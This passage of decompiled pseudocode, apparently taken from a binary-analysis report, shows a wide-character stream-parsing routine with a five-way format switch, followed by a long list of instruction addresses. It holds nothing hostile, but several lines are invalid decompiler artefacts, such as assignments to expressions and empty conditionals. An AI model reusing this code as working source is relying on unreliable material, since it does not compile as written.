								_t479 =  *_t477 & 0x0000ffff;
							}
							_t531 = 0;
							__eflags = _t479 - 0xffff;
							if(_t479 != 0xffff) {
								goto L14;
							} else {
								_t531 = _t543;
								_a12 = 0;
								__eflags = _t508 - _t531;
								if(_t508 != _t531) {
									goto L15;
								}
								goto L145;
							}
						}
					}
					__eflags = _t508;
					if(_t508 != 0) {
						goto L9;
					}
					L118:
					_v120 = _v120 + 1;
					_t444 =  &_v81 + _v120;
					__eflags =  *_t444 - 4;
					if( *_t444 <= 4) {
						goto L6;
					}
					goto L119;
				}
				L6:
				_t444 =  *_t444 & 0x000000ff;
				switch( *((intOrPtr*)(_t444 * 4 +  &M00536174))) {
					case 0:
						_t543 = 1;
						goto L8;
					case 1:
						__esi =  &_a12;
						__ecx =  &_a4;
						__eax = E00450BD0(__eax, __ecx, __edx,  &_a12);
						__eflags = __al;
						if(__al == 0) {
							__edx = _a8 & 0x0000ffff;
							 &_a4 = E00450CC0( &_a4, _a8 & 0x0000ffff);
							__ecx = _v132;
							__eax = __ax & 0x0000ffff;
							__edx =  *__ecx;
							 *(__esp + 4) = __ax & 0x0000ffff;
							_v156 = 0x20;
							__eax =  *((intOrPtr*)(__edx + 8))();
							__esp = __esp - 8;
							__esi = __eax;
							__eflags = __al;
							if(__al == 0) {
								goto L71;
							}
							__ecx = _a4;
							__eax = E004A6690(__ecx);
							__eax = 0xffffffff;
							_a8 = __ax;
							L8:
							if(_v120 != 4) {
								L72:
								_t491 = _a8 & 0x0000ffff;
								_t526 = _a4;
								while(1) {
									__eflags = _t491 - 0xffff;
									_t508 = _t508 & 0xffffff00 | _t491 == 0x0000ffff;
									__eflags = _t526;
									_t493 = (_t491 & 0xffffff00 | _t526 != 0x00000000) & _t508;
									__eflags = _t493;
									_t538 = _t493;
									if(_t493 != 0) {
										_t505 =  *(_t526 + 8);
										__eflags = _t505 -  *((intOrPtr*)(_t526 + 0xc));
										if(_t505 >=  *((intOrPtr*)(_t526 + 0xc))) {
											_t493 =  *((intOrPtr*)( *_t526 + 0x24))();
										} else {
											_t493 =  *_t505 & 0x0000ffff;
										}
										_t508 = 0;
										__eflags = _t493 - 0xffff;
										if(_t493 == 0xffff) {
											_a4 = 0;
											_t508 = _t538;
										}
									}
									_t527 = _a12;
									_a16 - 0xffff = _t527;
									_t444 = (_t493 & 0xffffff00 | _t527 != 0x00000000) & (_t531 & 0xffffff00 | _a16 == 0x0000ffff);
									__eflags = _t444;
									_t536 = _t444;
									if(_t444 != 0) {
										_t495 =  *(_t527 + 8);
										__eflags = _t495 -  *((intOrPtr*)(_t527 + 0xc));
										if(_t495 >=  *((intOrPtr*)(_t527 + 0xc))) {
											_t444 =  *((intOrPtr*)( *_t527 + 0x24))();
										} else {
											_t444 =  *_t495 & 0x0000ffff;
										}
										_t531 = 0;
										__eflags = _t444 - 0xffff;
										if(_t444 == 0xffff) {
											_a12 = 0;
											_t531 = _t536;
										}
									}
									__eflags = _t508 - _t531;
									if(_t508 == _t531) {
										goto L115;
									}
									_t528 = _a4;
									_t497 = _a8 & 0x0000ffff;
									__eflags = _t528;
									if(_t528 != 0) {
										__eflags = _t497 - 0xffff;
										if(_t497 == 0xffff) {
											_t503 =  *(_t528 + 8);
											__eflags = _t503 -  *((intOrPtr*)(_t528 + 0xc));
											if(_t503 >=  *((intOrPtr*)(_t528 + 0xc))) {
												_t497 =  *((intOrPtr*)( *_t528 + 0x24))();
											} else {
												_t497 =  *_t503 & 0x0000ffff;
											}
											__eflags = _t497 - 0xffff;
											if(_t497 == 0xffff) {
												_a4 = 0;
											}
										}
									}
									_t531 =  *_v132;
									 *(_t552 + 4) = _t497 & 0x0000ffff;
									_v156 = 0x20;
									_t444 =  *((intOrPtr*)(_t531 + 8))();
									_t552 = _t552 - 8;
									__eflags = _t444;
									if(_t444 == 0) {
										goto L115;
									} else {
										_t526 = _a4;
										_t499 =  *(_t526 + 8);
										__eflags = _t499 -  *((intOrPtr*)(_t526 + 0xc));
										if(_t499 >=  *((intOrPtr*)(_t526 + 0xc))) {
											 *((intOrPtr*)( *_t526 + 0x28))();
											_t526 = _a4;
										} else {
											_t502 = _t499 + 2;
											__eflags = _t502;
											 *(_t526 + 8) = _t502;
										}
										_t491 = 0xffffffff;
										_a8 = 0xffffffff;
										continue;
									}
								}
								goto L115;
							}
							goto L9;
						}
						L71:
						__esi = 0;
						__eflags = _v120 - 4;
						if(_v120 == 4) {
							goto L9;
						}
						goto L72;
					case 2:
						__eax = _a20;
						__eflags =  *(__eax + 0xd) & 0x00000002;
						if(( *(__eax + 0xd) & 0x00000002) != 0) {
							L56:
							__eax = _v104;
							__ecx = _a4;
							__esi = 0;
							__eax =  *(_v104 + 0x1c);
							_v112 =  *(_v104 + 0x1c);
							__eax = _a8 & 0x0000ffff;
							while(1) {
								__eflags = __ax - 0xffff;
								__ebx = __ebx & 0xffffff00 | __ax == 0x0000ffff;
								__eflags = __ecx;
								__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
								__al = __al & __bl;
								__eflags = __al;
								__edi = __eax;
								if(__al != 0) {
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									} else {
										__eax =  *__eax & 0x0000ffff;
									}
									__ebx = 0;
									__eflags = __ax - 0xffff;
									if(__ax == 0xffff) {
										_a4 = 0;
										__ebx = __edi;
									}
								}
								__ecx = _a12;
								__eflags = _a16 - 0xffff;
								__edx = __edx & 0xffffff00 | _a16 == 0x0000ffff;
								__eflags = __ecx;
								__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
								__al = __al & __dl;
								__eflags = __al;
								__edi = __eax;
								if(__al != 0) {
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									} else {
										__eax =  *__eax & 0x0000ffff;
									}
									__edx = 0;
									__eflags = __ax - 0xffff;
									if(__ax != 0xffff) {
										goto L58;
									} else {
										__eflags = __esi - _v112;
										__edx = __edi;
										_a12 = 0;
										__eax = __eax & 0xffffff00 | __esi - _v112 > 0x00000000;
										__ebx = __ebx ^ __edx;
										__bl = __bl & __al;
										__eflags = __bl;
										if(__bl != 0) {
											L59:
											__eax = _a8 & 0x0000ffff;
											__ecx = _a4;
											__eflags = __ax - 0xffff;
											if(__ax == 0xffff) {
												__eflags = __ecx;
												if(__ecx != 0) {
													__eax =  *(__ecx + 8);
													__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
													if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
														__eax =  *__ecx;
														__eax =  *((intOrPtr*)( *__ecx + 0x24))();
													} else {
														__eax =  *__eax & 0x0000ffff;
													}
													__eflags = __ax - 0xffff;
													if(__ax == 0xffff) {
														_a4 = 0;
													}
												}
											}
											__edi = _v104;
											__edx =  *(__edi + 0x18);
											__eflags =  *((intOrPtr*)(__edx + __esi * 2)) - __ax;
											if( *((intOrPtr*)(__edx + __esi * 2)) != __ax) {
												L165:
												__eflags = __esi;
												if(__eflags != 0) {
													goto L95;
												}
												__eax = _a20;
												__eax =  *(_a20 + 0xc);
												_v112 = __eax;
												__eax = __eax & 0x00000200;
												__ebx = __ebx & 0xffffff00 | __eflags == 0x00000000;
												__esi = __ebx;
												__ebx = __ebx & 0xffffff00 | __eflags != 0x00000000;
												goto L116;
											}
											__ecx = _a4;
											__eax =  *(__ecx + 8);
											__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
											if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
												 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
												__ecx = _a4;
											} else {
												__eax = __eax + 2;
												__eflags = __eax;
												 *(__ecx + 8) = __eax;
											}
											__edi = 0xffffffff;
											__esi = __esi + 1;
											__eflags = __esi;
											__eax = 0xffffffff;
											_a8 = __di;
											continue;
										}
										L164:
										__eflags = __esi - _v112;
										if(__esi == _v112) {
											goto L120;
										}
										goto L165;
									}
								}
								L58:
								__eflags = __esi - _v112;
								__eax = __eax & 0xffffff00 | __esi - _v112 > 0x00000000;
								__ebx = __ebx ^ __edx;
								__bl = __bl & __al;
								__eflags = __bl;
								if(__bl == 0) {
									goto L164;
								}
								goto L59;
							}
						}
						__edx = _v120;
						__eflags = _v128 - 1;
						__ebx = __ebx & 0xffffff00 | __eflags > 0x00000000;
						__edx = _v120 - 1;
						__eax = __eax & 0xffffff00 | __eflags == 0x00000000;
						__bl = __bl | __al;
						__eflags = __bl;
						if(__bl != 0) {
							goto L56;
						}
						__eflags = __edx - 1;
						if(__edx == 1) {
							__eflags = _v115;
							if(_v115 != 0) {
								goto L56;
							}
							__eflags = _v80 - 3;
							if(_v80 == 3) {
								goto L56;
							}
							__eflags = _v78 - 1;
							if(_v78 != 1) {
								goto L118;
							}
							goto L56;
						}
						__esi = 1;
						__eflags = __edx - 2;
						if(__edx != 2) {
							goto L116;
						}
						__eax = _v77 & 0x000000ff;
						__eflags = __al - 4;
						if(__al == 4) {
							goto L56;
						}
						__eflags = __al - 3;
						if(__al != 3) {
							goto L118;
						}
						__eflags = _v115;
						if(_v115 == 0) {
							goto L118;
						}
						goto L56;
					case 3:
						__eax = _v104;
						__esi =  *(__eax + 0x24);
						__eflags =  *(__eax + 0x24);
						if( *(__eax + 0x24) != 0) {
							__esi =  &_a12;
							__ecx =  &_a4;
							__ebx = __eax;
							__eflags = __al;
							if(__al == 0) {
								__edx = _a8 & 0x0000ffff;
								 &_a4 = E00450CC0( &_a4, _a8 & 0x0000ffff);
								__edi = _v104;
								__edx =  *(__edi + 0x20);
								__eflags =  *__edx - __ax;
								if( *__edx != __ax) {
									goto L132;
								}
								__eax =  *(__edi + 0x24);
								__ecx = _a4;
								_v128 =  *(__edi + 0x24);
								__eax = E004A6690(_a4);
								__ecx = 0xffffffff;
								__esi = 1;
								_a8 = __cx;
								goto L116;
							}
							L132:
							__eax = _v104;
							__ebx =  *(__eax + 0x2c);
							__eflags =  *(__eax + 0x2c);
							if( *(__eax + 0x2c) != 0) {
								L137:
								_v156 = __esi;
								__ecx =  &_a4;
								__eax = E00450BD0(__eax, __ecx, __edx);
								__esp = __esp - 4;
								__ebx = __eax;
								__eflags = __al;
								if(__al == 0) {
									__edx = _a8 & 0x0000ffff;
									 &_a4 = E00450CC0( &_a4, _a8 & 0x0000ffff);
									__esi = _v104;
									__edx =  *(__esi + 0x28);
									__eflags =  *( *(__esi + 0x28)) - __ax;
									if( *( *(__esi + 0x28)) != __ax) {
										goto L138;
									}
									__eax = _v104;
									__ecx = _a4;
									__eax =  *(_v104 + 0x2c);
									_v128 =  *(_v104 + 0x2c);
									__eax = E004A6690(__ecx);
									__eax = 0xffffffff;
									__esi = 1;
									_v114 = 1;
									_a8 = __ax;
									goto L116;
								}
								L138:
								__eax = _v104;
								__edx =  *(__eax + 0x24);
								__eflags = __edx;
								if(__edx == 0) {
									L48:
									__ebx = _v115 & 0x000000ff;
									__esi = __ebx;
									__esi = __ebx ^ 0x00000001;
									goto L116;
								}
								__eax = _v104;
								__eax =  *(_v104 + 0x2c);
								__eflags = __eax;
								if(__eax != 0) {
									goto L48;
								}
								L134:
								__ebx = 0;
								__esi = 1;
								_v114 = 1;
								goto L116;
							}
							__eax = _v104;
							__edx =  *(__eax + 0x24);
							__eflags = __edx;
							if(__edx == 0) {
								goto L48;
							}
							goto L134;
						}
						__eax = _v104;
						__esi =  &_a12;
						__eax =  *(_v104 + 0x2c);
						__eflags = __eax;
						if(__eax != 0) {
							goto L137;
						}
						goto L48;
					case 4:
						__edi = _v104;
						__eax = _a8 & 0x0000ffff;
						__ecx = _a4;
						__ebx = _v104 + 0x52;
						while(1) {
							L28:
							__eflags = __ax - 0xffff;
							__eax = __eax & 0xffffff00 | __ax == 0x0000ffff;
							__eflags = __ecx;
							__esi = __eax;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__edx = __esi;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								__eax =  *(__ecx + 8);
								__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
								if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
									__eax =  *__ecx;
									__eax =  *((intOrPtr*)( *__ecx + 0x24))();
								} else {
									__eax =  *__eax & 0x0000ffff;
								}
								__esi = 0;
								__eflags = __ax - 0xffff;
								if(__ax == 0xffff) {
									_a4 = 0;
									__esi = __edi;
								}
							}
							__ecx = _a12;
							__eflags = _a16 - 0xffff;
							__edx = __edx & 0xffffff00 | _a16 == 0x0000ffff;
							__eflags = __ecx;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								goto L89;
							}
							L30:
							__eax = __esi;
							__eflags = __al - __dl;
							if(__al == __dl) {
								L93:
								__esi = 1;
								L94:
								__eax = _v48;
								__eflags = __eax;
								if(__eax != 0) {
									L115:
									_t508 = _t543 ^ 0x00000001;
									__eflags = _t508;
									goto L116;
								}
								goto L95;
							}
							L31:
							__ecx = _a4;
							__eax = _a8 & 0x0000ffff;
							__eflags = __ecx;
							if(__ecx != 0) {
								__eflags = __ax - 0xffff;
								if(__ax == 0xffff) {
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										 *__ecx =  *((intOrPtr*)( *__ecx + 0x24))();
									} else {
										__eax =  *__eax & 0x0000ffff;
									}
									__eflags = __ax - 0xffff;
									if(__ax == 0xffff) {
										_a4 = 0;
									}
								}
							}
							__edi = _v100;
							__edx = _v108;
							__ecx = __edi;
							while(1) {
								__eflags =  *__edx - __ax;
								if( *__edx == __ax) {
									break;
								}
								__edx = __edx + 2;
								__eflags = __edx - __ebx;
								if(__edx != __ebx) {
									continue;
								}
								__esi = _v104;
								_v100 = __ecx;
								__eflags =  *((intOrPtr*)(_v104 + 0x12)) - __ax;
								__edx = __edx & 0xffffff00 |  *((intOrPtr*)(_v104 + 0x12)) != __ax;
								__dl = __dl | _v113;
								__eflags = __dl;
								if(__dl == 0) {
									__eax = _v104;
									__eax =  *(_v104 + 0x30);
									__eflags = __eax;
									if(__eax <= 0) {
										_v113 = 0;
										goto L93;
									}
									__eax = _v100;
									_v113 = 1;
									_v100 = 0;
									_v136 = _v100;
									L43:
									__ecx = _a4;
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										L88:
										 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
										__ecx = _a4;
										L45:
										__eax = 0xffffffff;
										_a8 = __ax;
										__eax = 0xffffffff;
										goto L28;
									}
									L44:
									__eax = __eax + 2;
									__eflags = __eax;
									 *(__ecx + 8) = __eax;
									goto L45;
								}
								__edi = _v104;
								__esi =  *(__edi + 0x10) & 0x000000ff;
								__ecx = __esi;
								__eflags = __cl;
								if(__cl == 0) {
									__esi = __edx;
									goto L94;
								}
								__eflags =  *((intOrPtr*)(__edi + 0x14)) - __ax;
								if( *((intOrPtr*)(__edi + 0x14)) != __ax) {
									goto L94;
								}
								__eflags = _v113;
								if(_v113 != 0) {
									__esi = _v113 & 0x000000ff;
									goto L94;
								}
								__eax = _v100;
								__eflags = _v100;
								if(_v100 == 0) {
									__esi = 0;
									goto L94;
								}
								__edx = _v76;
								__esi = _v72;
								_v100 = __al;
								__eax =  &_v68;
								__eflags = __edx -  &_v68;
								__eax = 0xf;
								_t109 = __esi + 1; // 0x1
								__edi = _t109;
								__eax =  !=  ? _v68 : 0xf;
								__eflags = __edi - ( !=  ? _v68 : 0xf);
								if(__edi > ( !=  ? _v68 : 0xf)) {
									 *(__esp + 0xc) = 1;
									__ecx =  &_v76;
									 *(__esp + 8) = 0;
									 *(__esp + 4) = 0;
									_v156 = __esi;
									__eax = E004B26D0( &_v76);
									__esp = __esp - 0x10;
									__edx = _v76;
								}
								__eax = _v100 & 0x000000ff;
								_v100 = 0;
								 *(__edx + __esi) = __al;
								__eax = _v76;
								_v72 = __edi;
								 *((char*)(_v76 + __esi + 1)) = 0;
								goto L43;
							}
							__edx = __edx - _v124;
							__eax =  *0x5295a8; // 0x538630
							_v100 = __ecx;
							__edx = __edx >> 1;
							__esi = _v48;
							__eax =  *(__eax + __edx) & 0x000000ff;
							__edx = _v52;
							_t206 = __esi + 1; // 0x1
							__edi = _t206;
							_v112 = __al;
							__eax =  &_v44;
							__eflags = __edx -  &_v44;
							0xf =  !=  ? _v44 : 0xf;
							__eflags = __edi - ( !=  ? _v44 : 0xf);
							if(__edi > ( !=  ? _v44 : 0xf)) {
								 *(__esp + 0xc) = 1;
								__ecx =  &_v52;
								 *(__esp + 8) = 0;
								 *(__esp + 4) = 0;
								_v156 = __esi;
								__eax = E004B26D0( &_v52);
								__esp = __esp - 0x10;
								__edx = _v52;
							}
							__eax = _v112 & 0x000000ff;
							_v100 = _v100 + 1;
							 *(__edx + __esi) = __al;
							__eax = _v52;
							_v48 = __edi;
							 *((char*)(_v52 + __esi + 1)) = 0;
							__ecx = _a4;
							__eax =  *(__ecx + 8);
							__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
							if(__eax <  *((intOrPtr*)(__ecx + 0xc))) {
								goto L44;
							} else {
								goto L88;
							}
							L89:
							__eax =  *(__ecx + 8);
							__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
							if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
								 *__ecx =  *((intOrPtr*)( *__ecx + 0x24))();
							} else {
								__eax =  *__eax & 0x0000ffff;
							}
							__edx = 0;
							__eflags = __ax - 0xffff;
							if(__ax != 0xffff) {
								goto L30;
							} else {
								__edx = __edi;
								__eax = __esi;
								_a12 = 0;
								__eflags = __al - __dl;
								if(__al != __dl) {
									goto L31;
								}
								goto L93;
							}
						}
				}
			}

0x004609df
0x004609e2
0x004609ef
0x004609f7
0x00460a02
0x00460a05
0x00460a07
0x00460a0c
0x00461527
0x0046152c
0x00461535
0x0046153b
0x00461542
0x00461549
0x0046154d
0x00461554
0x0046155b
0x00461562
0x00461569
0x00461570
0x00461577
0x0046157e
0x00461585
0x0046158c
0x00461593
0x00461597
0x0046159a
0x0046159c
0x0046159f
0x004615ad
0x004615b1
0x004615b4
0x004615bb
0x004615be
0x004615be
0x00460a12
0x00460a1b
0x00460a20
0x0046118e
0x00461194
0x00461196
0x00460a26
0x00460a26
0x00460a26
0x00460a2d
0x00460a34
0x00460a3a
0x00460a42
0x00460a44
0x00460a4e
0x00460a53
0x00460a53
0x00460a56
0x00460a63
0x00460a66
0x00460a6d
0x00460a71
0x00460a76
0x00460a79
0x00460a80
0x00460a83
0x00460a8d
0x00460a91
0x00460a94
0x00460a9a
0x00460aa0
0x00460aa7
0x00460ab1
0x00460ab8
0x00461132
0x00461132
0x00461132
0x00461134
0x00461134
0x0046110d
0x0046110d
0x00461111
0x00460ad7
0x00460ae2
0x004615c8
0x004615ca
0x00460fc3
0x00460fc3
0x00460fc6
0x00460fc6
0x00460fc9
0x00460fcf
0x00460fd2
0x00460fda
0x00460fdc
0x00460fde
0x00460fe1
0x00460fe1
0x00460fe1
0x00460fe4
0x00460fea
0x00460fed
0x00460ff0
0x00460ff2
0x00460ff4
0x00460ff7
0x00460ffa
0x00460ffd
0x00461002
0x00461005
0x00461005
0x00461008
0x0046100e
0x00461010
0x00461012
0x00461015
0x00461018
0x0046101b
0x00461020
0x00461023
0x0046102d
0x0046102d
0x004615d0
0x004615d4
0x004612af
0x004612af
0x004612b3
0x004612b8
0x004612bb
0x004612bd
0x004612c8
0x004612d0
0x004612d8
0x004612df
0x004612e4
0x004612e4
0x004612bb
0x004612ea
0x004612ec
0x004612ee
0x004612fc
0x00461300
0x00461303
0x00461306
0x0046130b
0x0046130e
0x00461314
0x0046131b
0x00461322
0x00461325
0x0046132a
0x0046132c
0x0046132e
0x00461331
0x00461331
0x00461331
0x0046132c
0x00461334
0x00461338
0x00461349
0x0046134f
0x00461352
0x00461357
0x00000000
0x0046133a
0x0046133a
0x00461340
0x00461343
0x00000000
0x00000000
0x00000000
0x00461343
0x00461338
0x0046144e
0x0046144e
0x00461459
0x00461460
0x00461465
0x00461468
0x0046146a
0x00000000
0x00000000
0x00461470
0x00461473
0x00461476
0x00461673
0x00461673
0x00461676
0x00461679
0x00461693
0x00000000
0x00461693
0x0046167b
0x0046167d
0x00000000
0x00000000
0x00461683
0x0046147c
0x0046147e
0x00461488
0x0046148b
0x0046148f
0x00461494
0x00000000
0x00461494
0x00460aec
0x00460aef
0x004611a2
0x00460af5
0x00460af8
0x00460af8
0x00460afb
0x00460aff
0x00460b02
0x00460b83
0x00460b87
0x00460b8f
0x00460b91
0x00460b93
0x00460b99
0x00460b9f
0x00461622
0x00460ba5
0x00460ba5
0x00460ba5
0x00460ba8
0x00460bae
0x00460bb4
0x00460bbb
0x00460bbb
0x00460bae
0x00460b10
0x00460b20
0x00460b22
0x00460b24
0x00000000
0x00000000
0x00460b2a
0x00460b2c
0x0046129c
0x0046129c
0x0046129f
0x00000000
0x00000000
0x004612a5
0x004612a9
0x00000000
0x00000000
0x00000000
0x004612a9
0x00460b32
0x00460b35
0x00000000
0x00000000
0x00460b3b
0x00460b3e
0x00460b44
0x0046135f
0x00461362
0x00461365
0x0046162c
0x0046136b
0x0046136b
0x0046136b
0x0046136e
0x00461372
0x00461378
0x00461378
0x00461372
0x00460b57
0x00000000
0x00460b5d
0x00460b5d
0x00460b60
0x00460b66
0x00461418
0x0046141b
0x00460b6c
0x00460b6f
0x00460b6f
0x00460b72
0x00460b77
0x00460b7a
0x00460b7f
0x00000000
0x00460b7f
0x00461270
0x00461270
0x00461273
0x00461276
0x00461636
0x0046127c
0x0046127c
0x0046127c
0x0046127f
0x00461281
0x00461285
0x00000000
0x0046128b
0x0046128b
0x0046128d
0x00461294
0x00461296
0x00000000
0x00000000
0x00000000
0x00461296
0x00461285
0x00460b83
0x00461117
0x00461119
0x00000000
0x00000000
0x0046111f
0x0046111f
0x00461126
0x00461129
0x0046112c
0x00000000
0x00000000
0x00000000
0x0046112c
0x00460abe
0x00460abe
0x00460ac1
0x00000000
0x00460ac8
0x00000000
0x00000000
0x00460e34
0x00460e37
0x00460e3d
0x00460e45
0x00460e47
0x004611ed
0x004611f4
0x004611f9
0x004611fc
0x004611ff
0x00461201
0x00461205
0x0046120c
0x0046120f
0x00461212
0x00461214
0x00461216
0x00000000
0x00000000
0x0046121c
0x0046121f
0x00461224
0x00461229
0x00460acd
0x00460ad1
0x00460e59
0x00460e59
0x00460e5d
0x00460edd
0x00460edd
0x00460ee1
0x00460ee4
0x00460ee9
0x00460ee9
0x00460eeb
0x00460eed
0x00460ef3
0x00460ef6
0x00460ef9
0x0046160e
0x00460eff
0x00460eff
0x00460eff
0x00460f02
0x00460f04
0x00460f08
0x00460f0e
0x00460f15
0x00460f15
0x00460f08
0x00460e62
0x00460e6d
0x00460e72
0x00460e72
0x00460e74
0x00460e76
0x00461140
0x00461143
0x00461146
0x00461604
0x0046114c
0x0046114c
0x0046114c
0x0046114f
0x00461151
0x00461155
0x0046115b
0x00461162
0x00461162
0x00461155
0x00460e7c
0x00460e7e
0x00000000
0x00000000
0x00460e84
0x00460e87
0x00460e8b
0x00460e8d
0x00460e8f
0x00460e93
0x00461169
0x0046116c
0x0046116f
0x00461618
0x00461175
0x00461175
0x00461175
0x00461178
0x0046117c
0x00461182
0x00461182
0x0046117c
0x00460e93
0x00460e9f
0x00460ea1
0x00460ea5
0x00460eac
0x00460eaf
0x00460eb2
0x00460eb4
0x00000000
0x00460eba
0x00460eba
0x00460ebd
0x00460ec0
0x00460ec3
0x0046140b
0x0046140e
0x00460ec9
0x00460ec9
0x00460ec9
0x00460ecc
0x00460ecc
0x00460ed4
0x00460ed9
0x00000000
0x00460ed9
0x00460eb4
0x00000000
0x00460edd
0x00000000
0x00460ad1
0x00460e4d
0x00460e4d
0x00460e4f
0x00460e53
0x00000000
0x00000000
0x00000000
0x00000000
0x00460d16
0x00460d19
0x00460d1d
0x00460d64
0x00460d64
0x00460d67
0x00460d6a
0x00460d6c
0x00460d6f
0x00460d72
0x00460df5
0x00460df5
0x00460df9
0x00460dfc
0x00460dfe
0x00460e01
0x00460e01
0x00460e03
0x00460e05
0x00460e0b
0x00460e0e
0x00460e11
0x0046165f
0x00461661
0x00460e17
0x00460e17
0x00460e17
0x00460e1a
0x00460e1c
0x00460e20
0x00460e26
0x00460e2d
0x00460e2d
0x00460e20
0x00460d80
0x00460d83
0x00460d88
0x00460d8b
0x00460d8d
0x00460d90
0x00460d90
0x00460d92
0x00460d94
0x00461384
0x00461387
0x0046138a
0x00461669
0x0046166b
0x00461390
0x00461390
0x00461390
0x00461393
0x00461395
0x00461399
0x00000000
0x0046139f
0x0046139f
0x004613a2
0x004613a4
0x004613ab
0x004613ae
0x004613b0
0x004613b0
0x004613b2
0x00460daa
0x00460daa
0x00460dae
0x00460db1
0x00460db5
0x00460db7
0x00460db9
0x004613e4
0x004613e7
0x004613ea
0x00461655
0x00461657
0x004613f0
0x004613f0
0x004613f0
0x004613f3
0x004613f7
0x004613fd
0x004613fd
0x004613f7
0x00460db9
0x00460dbf
0x00460dc2
0x00460dc5
0x00460dc9
0x004613c1
0x004613c1
0x004613c3
0x00000000
0x00000000
0x004613c9
0x004613cc
0x004613cf
0x004613d2
0x004613d7
0x004613da
0x004613dc
0x00000000
0x004613dc
0x00460dcf
0x00460dd2
0x00460dd5
0x00460dd8
0x00461425
0x00461428
0x00460dde
0x00460dde
0x00460dde
0x00460de1
0x00460de1
0x00460de4
0x00460de9
0x00460de9
0x00460dec
0x00460df1
0x00000000
0x00460df1
0x004613b8
0x004613b8
0x004613bb
0x00000000
0x00000000
0x00000000
0x004613bb
0x00461399
0x00460d9a
0x00460d9a
0x00460d9d
0x00460da0
0x00460da2
0x00460da2
0x00460da4
0x00000000
0x00000000
0x00000000
0x00460da4
0x00460df5
0x00460d1f
0x00460d22
0x00460d26
0x00460d29
0x00460d2c
0x00460d2f
0x00460d2f
0x00460d31
0x00000000
0x00000000
0x00460d33
0x00460d36
0x004615df
0x004615e3
0x00000000
0x00000000
0x004615e9
0x004615ed
0x00000000
0x00000000
0x004615f3
0x004615f7
0x00000000
0x00000000
0x00000000
0x004615fd
0x00460d3c
0x00460d41
0x00460d44
0x00000000
0x00000000
0x00460d4a
0x00460d4e
0x00460d50
0x00000000
0x00000000
0x00460d52
0x00460d54
0x00000000
0x00000000
0x00460d5a
0x00460d5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00460ce9
0x00460cec
0x00460cef
0x00460cf1
0x004611aa
0x004611ad
0x004611bb
0x004611bd
0x004611bf
0x004614df
0x004614e6
0x004614eb
0x004614ee
0x004614f1
0x004614f4
0x00000000
0x00000000
0x004614fa
0x004614fd
0x00461500
0x00461503
0x00461508
0x0046150d
0x00461512
0x00000000
0x00461512
0x004611c5
0x004611c5
0x004611c8
0x004611cb
0x004611cd
0x00461232
0x00461232
0x00461235
0x00461238
0x0046123d
0x00461240
0x00461242
0x00461244
0x0046149c
0x004614a3
0x004614a8
0x004614ab
0x004614ae
0x004614b1
0x00000000
0x00000000
0x004614b7
0x004614ba
0x004614bd
0x004614c0
0x004614c3
0x004614c8
0x004614cd
0x004614d2
0x004614d6
0x00000000
0x004614d6
0x0046124a
0x0046124a
0x0046124d
0x00461250
0x00461252
0x00460d08
0x00460d08
0x00460d0c
0x00460d0e
0x00000000
0x00460d0e
0x00461258
0x0046125b
0x0046125e
0x00461260
0x00000000
0x00000000
0x004611dd
0x004611dd
0x004611df
0x004611e4
0x00000000
0x004611e4
0x004611cf
0x004611d2
0x004611d5
0x004611d7
0x00000000
0x00000000
0x00000000
0x004611d7
0x00460cf7
0x00460cfa
0x00460cfd
0x00460d00
0x00460d02
0x00000000
0x00000000
0x00000000
0x00000000
0x00460bc2
0x00460bc5
0x00460bc9
0x00460bcc
0x00460bd0
0x00460bd0
0x00460bd0
0x00460bd4
0x00460bd7
0x00460bd9
0x00460bdb
0x00460bde
0x00460be0
0x00460be0
0x00460be2
0x00460be4
0x00461030
0x00461033
0x00461036
0x00461430
0x00461432
0x0046103c
0x0046103c
0x0046103c
0x0046103f
0x00461041
0x00461045
0x0046104b
0x00461052
0x00461052
0x00461045
0x00460bea
0x00460bed
0x00460bf2
0x00460bf5
0x00460bf7
0x00460bfa
0x00460bfa
0x00460bfc
0x00460bfe
0x00000000
0x00000000
0x00460c04
0x00460c04
0x00460c06
0x00460c08
0x00460fb3
0x00460fb3
0x00460fb8
0x00460fb8
0x00460fbb
0x00460fbd
0x00461108
0x0046110a
0x0046110a
0x00000000
0x0046110a
0x00000000
0x00460fbd
0x00460c0e
0x00460c0e
0x00460c11
0x00460c15
0x00460c17
0x00460c19
0x00460c1d
0x00461060
0x00461063
0x00461066
0x00461446
0x0046106c
0x0046106c
0x0046106c
0x0046106f
0x00461073
0x00461079
0x00461079
0x00461073
0x00460c1d
0x00460c23
0x00460c26
0x00460c29
0x00460c30
0x00460c30
0x00460c33
0x00000000
0x00000000
0x00460c39
0x00460c3c
0x00460c3e
0x00000000
0x00000000
0x00460c40
0x00460c43
0x00460c46
0x00460c4a
0x00460c4d
0x00460c4d
0x00460c50
0x004610e1
0x004610e4
0x004610e7
0x004610e9
0x0046169b
